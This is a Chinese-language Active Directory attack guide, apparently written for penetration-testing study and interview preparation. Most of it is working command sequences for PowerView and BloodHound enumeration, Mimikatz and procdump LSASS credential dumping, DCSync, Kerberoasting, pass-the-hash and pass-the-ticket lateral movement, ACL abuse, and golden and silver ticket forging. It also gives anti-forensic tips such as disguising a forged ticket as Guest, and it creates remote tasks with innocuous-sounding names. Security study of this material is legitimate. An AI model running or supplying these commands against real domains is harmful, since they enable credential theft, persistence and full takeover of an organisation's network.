Get-DomainComputer -OperatingSystem "*Server*"    # 服务器

# === 组枚举 ===
Get-DomainGroup                                   # 所有组
Get-DomainGroupMember -Identity "Domain Admins"   # 域管组成员
Get-DomainGroupMember -Identity "Domain Admins" -Recurse  # 递归（含嵌套）

# === ACL 枚举 ===
Find-InterestingDomainAcl -ResolveGUIDs           # 当前用户有特殊权限的对象
Get-DomainObjectAcl -Identity "Domain Admins" -ResolveGUIDs  # 域管组的 ACL
Get-DomainObjectAcl -SamAccountName Administrator -ResolveGUIDs  # 管理员的 ACL

# === 共享枚举 ===
Find-DomainShare                                  # 域内所有共享
Find-DomainShare -CheckShareAccess                # 当前用户可访问的共享
Find-InterestingDomainShareFile                   # 含敏感内容的文件

# === GPO 枚举 ===
Get-DomainGPO                                     # 所有 GPO
Get-DomainGPO -ComputerName DC01                  # 应用于 DC01 的 GPO

# === 域信任 ===
Get-DomainTrust                                   # 信任列表
Get-DomainTrustMapping                            # 信任映射图
Get-ForestTrust                                   # 林信任
Get-ForestDomain                                  # 林中所有域
Get-DomainForeignUser                             # 来自外部域的用户
Get-DomainForeignGroupMember                      # 外部域用户所在的组

# === 用户狩猎 ===
Find-LocalAdminAccess -Verbose                    # 当前用户有本地管理员的机器
Find-DomainUserLocation                           # 域管理员登录在哪台机器上
Invoke-UserHunter -Stealth                        # 静默模式查找高价值用户位置

4.3 BloodHound 攻击路径分析

4.3.1 数据采集

# Windows - SharpHound.exe
.\SharpHound.exe -c All,GPOLocalGroup

# Windows - SharpHound.ps1
. .\SharpHound.ps1
Invoke-BloodHound -CollectionMethod All

# Linux - bloodhound-python
bloodhound-python -u user -p pass -ns 10.0.0.10 -d corp.com -c All
# 如果 LDAP 认证有问题
bloodhound-python -u user -p pass -ns 10.0.0.10 -d corp.com -c All --authmode basic --port 389

4.3.2 核心 Cypher 查询

// 查找到达域管的最短路径
MATCH p=shortestPath(
  (u:User {name:'COMPROMISED_USER@CORP.COM'})-[*1..]->(g:Group {name:'DOMAIN ADMINS@CORP.COM'})
) RETURN p

// 查找 Kerberoastable 用户
MATCH (u:User {hasspn:true}) RETURN u

// 查找 AS-REP Roastable 用户
MATCH (u:User {dontreqpreauth:true}) RETURN u

// 查找有本地管理员权限的计算机
MATCH (u:User)-[:AdminTo]->(c:Computer) RETURN u, c

// 查找有会话的计算机（可用于横向移动）
MATCH (u:User)-[:HasSession]->(c:Computer) RETURN u, c

// 查找非约束委派计算机
MATCH (c:Computer {unconstraineddelegation:true}) RETURN c

// 查找约束委派
MATCH (c) WHERE c.allowedtodelegate IS NOT NULL RETURN c

// 查找高价值目标
MATCH (u:User {highvalue:true}) RETURN u

// 查找有 DCSync 权限的非特权用户
MATCH (u:User)-[:GetChangesAll]->(d:Domain) RETURN u

// 查找有 RBCD 攻击路径
MATCH (u)-[:GenericAll|GenericWrite|WriteDacl|WriteOwner|AllowedToDelegate|AddAllowedToAct*1..]->(c:Computer) RETURN u, c

4.3.3 BloodHound 边的含义速查

边名	含义	可滥用方向
`AdminTo`	目标机器上的本地管理员	直接 PTH/WinRM 过去
`HasSession`	用户在某机器有活跃会话	窃取 Token / 注入进程
`MemberOf`	组成员关系	添加到高权限组
`GenericAll`	完全控制	重置密码、修改属性、加组
`GenericWrite`	可修改非受保护属性	设置 SPN / UAC / RBCD
`WriteDacl`	可修改 ACL	给自己加 DCSync / 加组权限
`WriteOwner`	可修改所有者	先获所有权 → 再改 DACL
`ForceChangePassword`	可强制改密码	无需旧密码直接改
`AddMember`	可添加组成员	直接加自己进 Domain Admins
`AddAllowedToAct`	可配置 RBCD	S4U2Self+S4U2Proxy 模拟任意用户
`AllowedToDelegate`	约束委派	S4U2 攻击
`GetChangesAll`	DCSync 权限	secretsdump.py 导出 Hash
`SQLAdmin`	SQL Server 管理员	xp_cmdshell 命令执行
`DcomUser`	DCOM 权限	DCOM 远程执行
`CanRDP`	可远程桌面	RDP 登录
`CanPSRemote`	可 WinRM	PS Remoting
`ExecuteDCOM`	DCOM 远程执行	MMC20.Application 等

凭证获取技术

5.1 Mimikatz 核心抓取

5.1.1 直接从 LSASS 内存抓取

# 完整抓取流程（需要管理员权限）
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit

# 抓取结果解读：
#   * Username : Administrator
#   * Domain   : CORP
#   * NTLM     : 518b98ad4178a53695dc997aa02d455c   ← PTH 用这个
#   * SHA1     : 8dc5a8f3a7d8c0e94f8c8723c1afaa61d1de5c3c
#   * Password : (null)                              ← 新系统 WDigest 默认禁用
# 
# "Password : (null)" 是因为 Win8.1/Win2012R2 起 WDigest 默认不在内存缓存明文密码
# 解决方法：
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
# 然后等用户重新登录，再抓就能看到明文

5.1.2 抓取 AES Key

1 2	mimikatz.exe "privilege::debug" "sekurlsa::ekeys" exit # AES256 HMAC Key 用于 PTK（Pass the Key）

5.1.3 导出 Kerberos 票据

1 2	mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" exit # 导出的 .kirbi 文件可导入其他会话使用（PTT）

5.1.4 离线方式（绕过杀软）

# 方法 1：Procdump 转储 LSASS
procdump.exe -accepteula -ma lsass.exe lsass.dmp

# 在攻击机离线用 Mimikatz 读
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonpasswords" exit

# 方法 2：comsvcs.dll 导出 LSASS（Win10+）
# 先找 lsass.exe 的 PID
tasklist | findstr lsass
# 然后用 rundll32 创建 dump
rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump <PID> C:\temp\lsass.dmp full

# 方法 3：注册表导出 SAM + SYSTEM（需要管理员）
reg save HKLM\SAM sam.hive
reg save HKLM\SYSTEM system.hive
# 在攻击机上
python3 secretsdump.py -sam sam.hive -system system.hive LOCAL

5.2 DCSync — 远程导出全域 Hash

原理

正常场景：
  DC1 和 DC2 之间需要同步 AD 数据 → 使用 MS-DRSR 协议（Directory Replication Service）
  → DC1 向 DC2 请求 "给我最新的用户数据" → DC2 返回（包含用户的 Hash）
  → 这是正常的域控复制行为

DCSync 攻击：
  攻击者使用有域复制权限的账户 → 调用 DRSUAPI → "假装自己是 DC"
  → 向真正的 DC 请求用户数据 → DC 认为这是正常复制 → 返回含 Hash 的数据
  → 全过程在攻击者的机器上完成，域控上无需执行任何代码

前置权限

满足以下任一条件即可执行 DCSync：

Domain Admins 组成员
Enterprise Admins 组成员
域控的机器账户（DC$）
被显式授予以下三个扩展权限的对象：
- DS-Replication-Get-Changes（GUID: 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2）
- DS-Replication-Get-Changes-All（GUID: 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2）
- DS-Replication-Get-Changes-In-Filtered-Set（GUID: 89e95b76-444d-4c62-991a-0facbeda640c）

执行命令

# Mimikatz — 导出全部用户
mimikatz# lsadump::dcsync /domain:corp.com /all /csv

# Mimikatz — 导出特定用户
mimikatz# lsadump::dcsync /domain:corp.com /user:krbtgt
mimikatz# lsadump::dcsync /domain:corp.com /user:Administrator

# Impacket — 远程 DCSync
python3 secretsdump.py corp.com/administrator:password@10.0.0.10
python3 secretsdump.py -hashes :<NTLM_HASH> corp.com/Administrator@10.0.0.10
python3 secretsdump.py -just-dc-user krbtgt corp.com/admin:pass@10.0.0.10
python3 secretsdump.py corp.com/admin:pass@10.0.0.10 -outputfile all_hashes.txt

5.3 Kerberoasting — 离线爆破服务账户

原理

1. 域用户（任何用户）都可以为任何注册了 SPN 的服务请求 ST（TGS_REQ）
2. TGS 返回的 ST 中，有一部分（enc-part）是用【服务账户的 NTLM Hash】加密的
3. 服务票据的加密部分可以导出 → 离线用字典爆破
4. 爆破成功 → 获得服务账户明文密码

完整流程

# 步骤 1：查找 Kerberoastable 用户
# PowerView
Get-DomainUser -SPN | select samaccountname, serviceprincipalname

# AD Module
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName

# 步骤 2：请求并导出票据
# Rubeus（推荐）
PS> .\Rubeus.exe kerberoast /outfile:hashes.txt /format:hashcat
PS> .\Rubeus.exe kerberoast /user:svc_sql /nowrap

# Mimikatz
mimikatz# kerberos::ask /target:MSSQLSvc/sql01.corp.com:1433
mimikatz# kerberos::list /export

# Impacket（Linux）
$ python3 GetUserSPNs.py corp.local/user:pass -dc-ip 10.0.0.10 -request -outputfile kerb.txt
$ python3 GetUserSPNs.py corp.local/user -hashes :<NTLM> -dc-ip 10.0.0.10 -request

# 步骤 3：破解
# hashcat
hashcat -m 13100 kerb.txt rockyou.txt --force       # RC4
hashcat -m 19700 kerb.txt rockyou.txt --force       # AES256

# john
john --format=krb5tgs --wordlist=rockyou.txt kerb.txt

Targeted Kerberoasting（结合 ACL 滥用）

# 如果你对某用户有 GenericAll/GenericWrite → 强制给他设置 SPN → Kerberoast
Set-DomainObject -Identity TargetUser -Set @{serviceprincipalname='evil/SPN'}
# 然后 Kerberoast 这个用户
Get-DomainSPNTicket TargetUser | fl
# 记得清理
Set-DomainObject -Identity TargetUser -Clear serviceprincipalname

5.4 AS-REP Roasting — 无需域账号

原理

1. Kerberos 预认证阶段，用户用 NTLM Hash 加密时间戳发给 AS
2. 如果用户设置了 "不要求 Kerberos 预身份验证"（userAccountControl 包含 DONT_REQ_PREAUTH）
3. 攻击者可以代表该用户向 KDC 发 AS_REQ → KDC 跳过验证
4. KDC 直接返回 AS_REP → 其中包含【该用户 NTLM Hash 加密的 Session Key】
5. 攻击者离线爆破这个加密数据 → 获得用户明文密码
6. 整个过程不需要任何域凭据！只需网络可达域控 88 端口

完整流程

# 步骤 1：发现无预认证的用户
Get-DomainUser -PreauthNotRequired
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $True}

# 步骤 2：执行攻击
# Rubeus
.\Rubeus.exe asreproast /format:hashcat /outfile:asrep.txt
.\Rubeus.exe asreproast /user:target_user /nowrap

# Impacket（无需密码！）
$ python3 GetNPUsers.py corp.local/ -usersfile users.txt -dc-ip 10.0.0.10 -format hashcat

# 步骤 3：破解（hashcat mode 18200）
hashcat -m 18200 asrep.txt rockyou.txt --force

横向移动技术

6.1 PTH（Pass the Hash — 哈希传递）

原理回顾

NTLM 认证不验证明文，只验证 Response = F(NTLM_Hash, Challenge)，因此有 Hash 就能认证。

PTH 前提条件

目标账户是本地管理员组的成员（或域管）
需要知道对方的 NTLM Hash
目标需开放对应端口（SMB 445 / WMI 135 / WinRM 5985）
KB2871997 后，只有 RID=500 的 Administrator 或域管组成员能 PTH 到远程

命令集合

# ===== Mimikatz =====
mimikatz# sekurlsa::pth /user:Administrator /domain:corp.com /ntlm:518b98ad4178a53695dc997aa02d455c
# 弹出新 cmd 窗口，在此窗口中所有 net use / PSEXEC 都会用注入的 Hash

# ===== Impacket（Linux 首选）=====
# PsExec（稳定，落地文件，返回 SYSTEM 权限，会生成 7045 事件日志）
$ python3 psexec.py -hashes :<NTLM_HASH> corp.com/Administrator@10.0.0.20

# WMIExec（隐蔽，不落地，返回 administrator 权限）
$ python3 wmiexec.py -hashes :<NTLM_HASH> corp.com/Administrator@10.0.0.20

# SMBExec（半交互，通过 SMB 命名管道）
$ python3 smbexec.py -hashes :<NTLM_HASH> corp.com/Administrator@10.0.0.20

# Atexec（通过计划任务，返回 SYSTEM 权限）
$ python3 atexec.py -hashes :<NTLM_HASH> corp.com/Administrator@10.0.0.20 "whoami"

# DCOMExec（通过 DCOM）
$ python3 dcomexec.py -hashes :<NTLM_HASH> corp.com/Administrator@10.0.0.20

# ===== CrackMapExec 批量 PTH =====
# 验证 Hash 是否有效
$ crackmapexec smb 10.0.0.0/24 -u Administrator -H <NTLM_HASH>
# 验证 + 执行命令
$ crackmapexec smb 10.0.0.0/24 -u Administrator -H <NTLM_HASH> -x "whoami"
# 使用本地账户（--local-auth）
$ crackmapexec smb 10.0.0.0/24 -u Administrator -H <NTLM_HASH> --local-auth
# 导出 SAM
$ crackmapexec smb 10.0.0.20 -u Administrator -H <NTLM_HASH> --sam
# 导出 LSASS
$ crackmapexec smb 10.0.0.20 -u Administrator -H <NTLM_HASH> --lsa

# ===== Evil-WinRM =====
$ evil-winrm -i 10.0.0.20 -u Administrator -H <NTLM_HASH>

KB2871997 的例外

打了 KB2871997 后，普通用户无法 PTH，但以下情况例外：
SID=500 的内置 Administrator → 仍然可以 PTH（微软故意留的）
域管组成员 → 仍然可以 PTH 到域控
本地管理员 → 仍然可以 PTH 到本机
所以，RID 500 Administrator 账户是域渗透中的”终极跳板”

6.2 PTK（Pass the Key — 密钥传递）

使用 AES Key 进行 Kerberos 认证。适用于目标禁用 NTLM 的场景。

# 获取 AES Key
mimikatz# sekurlsa::ekeys

# PTK 执行
mimikatz# sekurlsa::pth /user:Administrator /domain:corp.com /aes256:9f64a722743a06840e2fc30e69c56c07feb23e32fc177d165f272cb5790ce98b

6.3 PTT（Pass the Ticket — 票据传递）

将 Kerberos 票据（.kirbi / .ccache）注入当前会话，然后用票据访问资源。

# ===== 导出票据 =====
mimikatz# sekurlsa::tickets /export

# ===== 导入票据 =====
# .kirbi 文件
mimikatz# kerberos::ptt ticket.kirbi

# .ccache 文件（Linux impacket 格式）
$ export KRB5CCNAME=Administrator.ccache
$ python3 psexec.py -k -no-pass corp.com/Administrator@dc01.corp.com

# ===== 查看当前票据 =====
mimikatz# kerberos::list
# 或
klist

# ===== 清除票据 =====
mimikatz# kerberos::purge
klist purge

6.4 Over-Pass-the-Hash

用 NTLM Hash 去向 KDC 申请 TGT → 获取 Kerberos 票据 → 用 Kerberos 认证。适用于目标阻塞了 NTLM 但允许 Kerberos 的场景。

# Rubeus 方式
.\Rubeus.exe asktgt /domain:corp.com /user:Administrator /rc4:<NTLM_HASH> /ptt

# Mimikatz 方式（本质也是向 KDC 申请 TGT）
mimikatz# sekurlsa::pth /user:Administrator /domain:corp.com /ntlm:<NTLM_HASH> /run:cmd.exe
# 弹出新的 cmd，此进程的内存中注入了 NTLM Hash
# 在这个 cmd 里访问网络资源时会自动用 Hash 去 KDC 拿到 TGT

6.5 横向移动工具对比

工具	端口	协议	是否落地文件	返回权限	日志程度
PsExec	445	SMB	✅ 是（`%SYSTEMROOT%\psexesvc.exe`）	SYSTEM	多（7045 + 4697）
WMIExec	135	DCOM/WMI	❌ 否	调用者权限	少
SMBExec	445	SMB 命名管道	❌ 否	调用者权限	中等
ATExec	135	RPC + 计划任务	❌ 否	SYSTEM	多（4698）
DCOMExec	135	DCOM	❌ 否	调用者权限	少
WinRM	5985/5986	HTTP(S)	❌ 否	调用者权限	少（但日志在 Applications）

6.6 其他横向技术

# ===== RDP 远程桌面 =====
# 前提：RDP 已开启（3389），你有用户凭据
mstsc /v:10.0.0.20
# 或用 xfreerdp
$ xfreerdp /u:Administrator /pth:<NTLM_HASH> /v:10.0.0.20

# ===== schtasks 计划任务远程执行 =====
schtasks /create /s 10.0.0.20 /tn "UpdateTask" /tr "cmd.exe /c whoami > C:\result.txt" /sc once /st 00:00 /ru SYSTEM
schtasks /run /s 10.0.0.20 /tn "UpdateTask"
schtasks /delete /s 10.0.0.20 /tn "UpdateTask" /f

# ===== sc 服务远程执行 =====
sc \\10.0.0.20 create UpdateService binpath= "cmd.exe /c whoami > C:\result.txt"
sc \\10.0.0.20 start UpdateService
sc \\10.0.0.20 delete UpdateService

# ===== wmic 远程执行 =====
wmic /node:10.0.0.20 /user:Administrator /password:pass process call create "cmd.exe /c whoami > C:\result.txt"

# ===== PowerShell Remoting =====
Enter-PSSession -ComputerName 10.0.0.20
Invoke-Command -ComputerName 10.0.0.20 -ScriptBlock { whoami }

域内提权路径

核心思路：从普通域用户到 Domain Admin，通常不是一步登天，而是通过 ACL 滥用、委派、漏洞利用等链条。

7.1 常见提权链

链条 1：ACL 滥用 → 直接或间接提权

普通域用户
  ├→ BloodHound 发现对域管用户有 GenericAll/ForceChangePassword
  │    → 直接改域管密码 → 用域管登录
  │
  ├→ BloodHound 发现对某用户有 WriteProperty
  │    → 设置 SPN → Targeted Kerberoasting → 破解服务账户 → 提权
  │
  ├→ BloodHound 发现对域对象有 WriteDacl
  │    → dacledit.py 给自己添加 DCSync → secretsdump → krbtgt → 黄金票据
  │
  ├→ BloodHound 发现对某机器有 GenericWrite
  │    → 配置 RBCD → S4U2 模拟域管 → 提权
  │
  └→ BloodHound 发现对某组有 AddMember
       → 加自己进 Domain Admins → 域管

链条 2：委派攻击 → 模拟域管

拿下 Web 服务器的机器账户 Hash
  ├→ Web 服务器配置了非约束委派
  │    → 诱导域管访问 → 导出域管 TGT → DCSync → 全域
  │
  ├→ Web 服务器配置了约束委派
  │    → S4U2Self + S4U2Proxy → 模拟域管访问 DC 的 CIFS/LDAP → DCSync
  │
  └→ 有权限修改目标机器的 msDS-AllowedToActOnBehalfOfOtherIdentity
       → 创建机器账户 → 配置 RBCD → S4U2 模拟域管 → 提权

链条 3：漏洞利用 → 直接提权

- CVE-2020-1472 (NetLogon/ZeroLogon)
    → 重置 DC 机器账户密码为空 → DCSync → 黄金票据
- CVE-2021-42287 / CVE-2021-42278 (sAMAccountName Spoofing / noPac)
    → 创建机器账户 → 改名冒充 DC → 申请 TGT → DCSync
- CVE-2022-26923 (ADCS 证书模板)
    → 冒充 DC 申请证书 → DCSync

7.2 ACL 滥用 — 具体操作

GenericAll / ForceChangePassword

# PowerView 重置密码
$NewPass = ConvertTo-SecureString 'NewPass123!' -AsPlainText -Force
Set-DomainUserPassword -Identity 'TargetUser' -AccountPassword $NewPass

# Linux bloodyAD
$ bloodyAD.py --host 10.0.0.10 -d corp.com -u attacker -p 'pass' set password TargetUser 'NewPass123!'

WriteDacl → DCSync

# Linux — dacledit.py
$ dacledit.py -action write -rights DCSync -principal controlled_user -target 'DC=corp,DC=com' corp.com/admin:pass

# Linux — bloodyAD
$ bloodyAD.py --host 10.0.0.10 -d corp.com -u attacker -p pass add dcsync controlled_user

# 然后执行 DCSync
$ secretsdump.py corp.com/controlled_user:pass@10.0.0.10

1 2	# Windows — PowerView Add-DomainObjectAcl -TargetIdentity "DC=corp,DC=com" -PrincipalIdentity controlled_user -Rights DCSync -Verbose

GenericWrite → Targeted Kerberoasting

# 给目标用户强制设置 SPN
Set-DomainObject -Identity TargetUser -Set @{serviceprincipalname='fake/SPN'}

# Kerberoast
.\Rubeus.exe kerberoast /user:TargetUser /nowrap

# 清理
Set-DomainObject -Identity TargetUser -Clear serviceprincipalname

GenericWrite → 禁用预认证 → AS-REP Roasting

# 强制禁用预认证
Set-DomainObject -Identity TargetUser -XOR @{useraccountcontrol=4194304}

# AS-REP Roast
.\Rubeus.exe asreproast /user:TargetUser /nowrap

# 恢复
Set-DomainObject -Identity TargetUser -XOR @{useraccountcontrol=4194304}

黄金票据深度剖析

8.1 攻击原理

黄金票据本质 = 伪造 TGT（票据授予票据）

回忆 Kerberos 流程图：
  AS 用【krbtgt NTLM Hash】加密 TGT → 发给 Client
  TGS 用【krbtgt NTLM Hash】解密 TGT → 验证通过 → 发 ST

关键发现：
  如果攻击者知道 krbtgt NTLM Hash，就可以自己加密一个 TGT
  攻击者的 TGT 可以声称自己是任何人（比如 Administrator）
  TGS 解密后 → "哦，你是 Administrator，没问题" → 发 ST

攻击效果：
  ✅ 绕过 AS 认证 → 不管你的密码是什么，哪怕被改了
  ✅ 绕过账户有效性检查 → 哪怕账户被禁用
  ✅ 可伪造任意用户 → 宣称自己是谁就是谁
  ✅ 有效期可自定义 → 默认 10 小时？我设成 10 年

8.2 四个必要条件

条件	含义	获取方式
① 域名	如 `corp.com`	`whoami` / `net config workstation`
② 域 SID	如 `S-1-5-21-xxx-xxx-xxx`	`whoami /all`，去掉末尾 -500（RID）部分
③ krbtgt 的 NTLM Hash	唯一能加密/解密 TGT 的密钥	DCSync / secretsdump / 直接在 DC 上 mimikatz
④ 伪造的用户名	想成为谁	通常是 `Administrator`

8.3 Mimikatz 完整命令

# ===== 步骤 1：清除现有票据（避免冲突）=====
mimikatz# kerberos::purge

# ===== 步骤 2：生成黄金票据并注入内存 =====
mimikatz# kerberos::golden /admin:Administrator /domain:corp.com /sid:S-1-5-21-1218902331-2157346161-1782232778 /krbtgt:104bb052e802a2797cfe0bc6222fce8c /ptt

# 参数详解：
#   /admin      → 你想伪造成谁（任意用户名）
#   /domain     → 域名（FQDN 格式）
#   /sid        → 域的 SID（注意是域 SID，不是用户 SID）
#                 用户 SID：S-1-5-21-xxx-xxx-xxx-500（带 RID）
#                 域   SID：S-1-5-21-xxx-xxx-xxx（不带 RID）← 用这个！
#   /krbtgt     → krbtgt 账户的 NTLM Hash（32 位十六进制）
#                 也可用 /aes128 或 /aes256 指定 AES Key
#   /ptt        → Pass The Ticket，直接注入当前会话内存
#   /id         → 用户的 RID（可选，默认 500=Administrator）
#   /groups     → 组 RID（可选，默认 512=Domain Admins, 513, 518, 519, 520）
#   /startoffset→ 票据起始偏移分钟数（可选，默认 0=立刻生效）
#                设为负数可使票据在生成前就已生效（更有迷惑性）
#   /endin      → 过期时间（分钟，默认 10 年）
#   /renewmax   → 最大续订期（分钟，默认 10 年）

# ===== 步骤 3：验证 =====
klist                                              # 查看当前票据
dir \\dc01.corp.com\c$                              # 访问域控文件共享
PsExec.exe \\dc01.corp.com cmd.exe                  # 在域控上执行命令

# ===== 步骤 4（可选）：DCSync 导出全域 Hash =====
mimikatz# lsadump::dcsync /domain:corp.com /all /csv

8.4 Impacket 方式（Linux 跨平台）

# 步骤 1：生成票据（.ccache 格式）
$ python3 ticketer.py -nthash 104bb052e802a2797cfe0bc6222fce8c \
    -domain-sid S-1-5-21-1218902331-2157346161-1782232778 \
    -domain corp.com Administrator

# 输出：Administrator.ccache

# 步骤 2：设置环境变量，导入票据
$ export KRB5CCNAME=Administrator.ccache

# 步骤 3：用票据认证，免密登录域控
$ python3 psexec.py -k -no-pass corp.com/Administrator@dc01.corp.com
$ python3 wmiexec.py -k -no-pass corp.com/Administrator@dc01.corp.com
$ python3 secretsdump.py -k -no-pass corp.com/Administrator@dc01.corp.com

8.5 票据格式转换

# Mimikatz 格式（.kirbi） → Impacket 格式（.ccache）
$ python3 ticketConverter.py ticket.kirbi ticket.ccache

# Impacket 格式（.ccache） → Mimikatz 格式（.kirbi）
$ python3 ticketConverter.py ticket.ccache ticket.kirbi

8.6 高级手法

# 手法 1：自定义超长有效期（100 年 ≈ 52560000 分钟）
mimikatz# kerberos::golden /admin:Administrator /domain:corp.com /sid:S-1-5-21-xxx /krbtgt:<hash> /endin:52560000 /renewmax:52560000 /ptt

# 手法 2：伪造多种加密类型兼容性（同时指定 NTLM + AES）
mimikatz# kerberos::golden /admin:Administrator /domain:corp.com /sid:S-1-5-21-xxx /krbtgt:<ntlm> /aes256:<aes_key> /ptt

# 手法 3：伪造非管理员用户但给域管组权限（反取证）
mimikatz# kerberos::golden /admin:Guest /id:501 /groups:512 /domain:corp.com /sid:S-1-5-21-xxx /krbtgt:<hash> /ptt
# 票据显示 Guest，实际是 Domain Admins

# 手法 4：跨域黄金票据（利用域信任关系）
# 需要信任域和被信任域的 krbtgt Hash + 被信任域的 Domain SID
mimikatz# kerberos::golden /admin:EnterpriseAdmin /domain:child.corp.com /sid:S-1-5-21-<child域SID> /krbtgt:<child域krbtgt Hash> /sids:S-1-5-21-<parent域SID>-519 /ptt
# /sids 参数添加跨域的额外 SID（如父域的 Enterprise Admins）

8.7 面试题

Q：黄金票据最大的局限是什么？

答：必须先拿下域控（或至少有 DCSync 权限来获取 krbtgt Hash）。黄金票据是”终极持久化”，不是”初始突破口”。

Q：域管密码被改了，黄金票据还能用吗？

答：能用。黄金票据跳过 AS 阶段，不验证用户密码。只有 krbtgt 密码被修改（且连续修改两次）才会失效。

Q：黄金票据会在域控上留下什么日志？

答：会留下 4769 事件（Kerberos 服务票据请求），但不会有对应的 4768 事件（TGT 请求）。因为 TGT 是攻击者离线伪造的，没有经过 AS。如果加密类型为 RC4（0x17）而非 AES，更可疑。

白银票据深度剖析

9.1 攻击原理

白银票据本质 = 伪造 ST（服务票据）

回忆 Kerberos 流程第三步（AP_REQ）：
  Client 把 ST 发给目标服务 SS
  SS 用【自己的 NTLM Hash】解密 ST → 验证通过 → 提供服务

关键发现：
  如果攻击者知道目标服务账户的 NTLM Hash，就可以自己加密一个 ST
  这个 ST 直接发给目标服务 → 服务用自己的 Hash 解密 → 验证通过
  整个过程不牵涉 KDC（域控）

攻击效果：
  ✅ 不经过域控 → 域控上无日志
  ✅ 不需要高权限 → 拿到任意机器的机器账户 Hash 即可
  ✅ 针对特定服务 → CIFS/LDAP/HOST/WINRM 任意选
  ❌ 权限有限 → 只限于伪造的那个服务
  ❌ PAC 无 KDC 签名 → 开启 PAC 验证则可能失败

9.2 六个必要条件

条件	含义	获取方式
① 域名	`corp.com`	`whoami`
② 域 SID	`S-1-5-21-xxx-xxx-xxx`	`whoami /all`
③ 目标 FQDN	`dc01.corp.com`	`ping dc01` 或 DNS 查询
④ 目标服务名	`cifs` / `ldap` / `host` / `rpcss` / `winrm`	根据需要选择
⑤ 服务账户 NTLM Hash	机器账户 `主机名$` 的 NTLM Hash	`sekurlsa::logonpasswords`
⑥ 伪造用户名	`Administrator`	任意

9.3 可伪造的服务及功能

服务名	全称	具体能做什么	命令示例
CIFS	文件共享服务	访问目标的所有共享文件夹	`dir \\dc01\c$`
LDAP	轻量目录访问协议	修改 AD 对象、配合 DCSync	→ 提权到 DA
HOST	主机服务	创建计划任务（schtasks 远程）	`schtasks /create /s dc01 ...`
RPCSS	RPC 服务	WMI 远程执行	`wmic /node:dc01 ...`
WINRM	Windows 远程管理	PowerShell Remoting 登录	`Enter-PSSession dc01`
HTTP	Web 服务	访问目标 Web 端点	访问 `http://dc01`
WSMAN	WS-Management	类似于 WinRM	PS Remoting

9.4 完整攻击流程

# ===== 步骤 1：在已控制的机器上获取机器账户 NTLM Hash =====
mimikatz# privilege::debug
mimikatz# sekurlsa::logonpasswords

# 在输出中找：
# Authentication Id : 0 ; 996
# User Name         : DESKTOP-001$       ← 注意 $ 符号！
# Domain            : CORP
# NTLM              : 31d6cfe0d16ae931b73c59d7e0c089c0  ← 记录这个

# ===== 步骤 2：清除现有票据 =====
mimikatz# kerberos::purge

# ===== 步骤 3A：伪造 CIFS 服务票据（访问文件共享）=====
mimikatz# kerberos::golden /domain:corp.com /sid:S-1-5-21-xxx /target:dc01.corp.com /service:cifs /rc4:31d6cfe0d16ae931b73c59d7e0c089c0 /user:Administrator /ptt

# ===== 步骤 3B：伪造 LDAP 服务票据（配合 DCSync 提权）=====
mimikatz# kerberos::golden /domain:corp.com /sid:S-1-5-21-xxx /target:dc01.corp.com /service:ldap /rc4:<DC$ NT Hash> /user:Administrator /ptt

# ===== 步骤 3C：伪造 HOST 服务票据（创建计划任务执行命令）=====
mimikatz# kerberos::golden /domain:corp.com /sid:S-1-5-21-xxx /target:dc01.corp.com /service:host /rc4:<DC$ NT Hash> /user:Administrator /ptt

# ===== 步骤 4：验证 =====
# CIFS 验证
dir \\dc01.corp.com\c$
# HOST 验证
schtasks /create /s dc01.corp.com /tn "backdoor" /tr "cmd.exe /c net user > C:\info.txt" /sc once /st 00:00 /ru SYSTEM
schtasks /run /s dc01.corp.com /tn "backdoor"

9.5 Impacket 方式（Linux）

# 注意：白银票据用 impacket 的 ticketer.py 也可以生成
# 但要指定 SPN 而非 /service

$ python3 ticketer.py -nthash <机器账户NTLM> \
    -domain-sid S-1-5-21-xxx \
    -domain corp.com \
    -spn cifs/dc01.corp.com \
    Administrator

$ export KRB5CCNAME=Administrator.ccache
$ python3 wmiexec.py -k -no-pass corp.com/Administrator@dc01.corp.com

9.6 白银票据进阶：LDAP → DCSync 提权链

这个链条非常重要，面试必问：

1. 你已经拿下一台普通域内机器 → 拿到它的机器账户 Hash
2. 用该机器账户 Hash 伪造针对 DC 的 LDAP 白银票据
3. 通过 LDAP 权限 → 修改 AD 对象的 ACL → 给你自己添加 DCSync 权限
4. 执行 DCSync → 获取 krbtgt Hash → 黄金票据 → 完全控制
5. 全程域控上没有 Kerberos 认证日志（因为没经过 KDC）

委派攻击全解析

委派（Delegation）是域渗透中最容易被忽视的高级攻击面。三种委派类型的理解和利用是区分初级渗透者和高级渗透者的分水岭。

10.1 三种委派对比

	非约束委派 (UD)	约束委派 (CD)	基于资源约束委派 (RBCD)
引入版本	Windows 2000	Windows 2003	Windows 2012
配置位置	服务 A 的 `userAccountControl` 含 TRUSTED_FOR_DELEGATION	服务 A 的 `msDS-AllowedToDelegateTo` 列出自名单	服务 B 的 `msDS-AllowedToActOnBehalfOfOtherIdentity` 列出自名单
模拟范围	任意服务	仅自名单中的服务	仅配置了该属性的目标服务
所需权限	域管配置	域管配置	服务自身 / 加域用户均可配置
缓存 TGT	✅ 是（核心利用点）	❌ 否	❌ 否
利用协议	诱导 + 票据窃取	S4U2Self + S4U2Proxy	S4U2Self + S4U2Proxy
跨域支持	是	否	是

10.2 非约束委派攻击

原理：
  配置了非约束委派的服务 → 当用户访问它时 → 用户的 TGT 被缓存在服务 LSASS 中
  → 攻击者导出 LSASS → 拿到用户的 TGT → 模拟该用户访问任意服务

利用前提：
  - 已控制非约束委派服务（如 WEB 服务器）
  - 在该服务上有管理员权限
  - 能诱导高价值用户（如域管）访问该服务

枚举

# PowerView
Get-DomainComputer -Unconstrained | select name

# AD Find
AdFind.exe -b "DC=corp,DC=com" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" dn

# Impacket
$ impacket-findDelegation corp.com/user:pass -dc-ip 10.0.0.10

攻击流程

# 方法 1：诱导域管访问（打印机漏洞 PrinterBug）
# 在已控 WEB 服务器上
.\Rubeus.exe monitor /interval:5 /nowrap
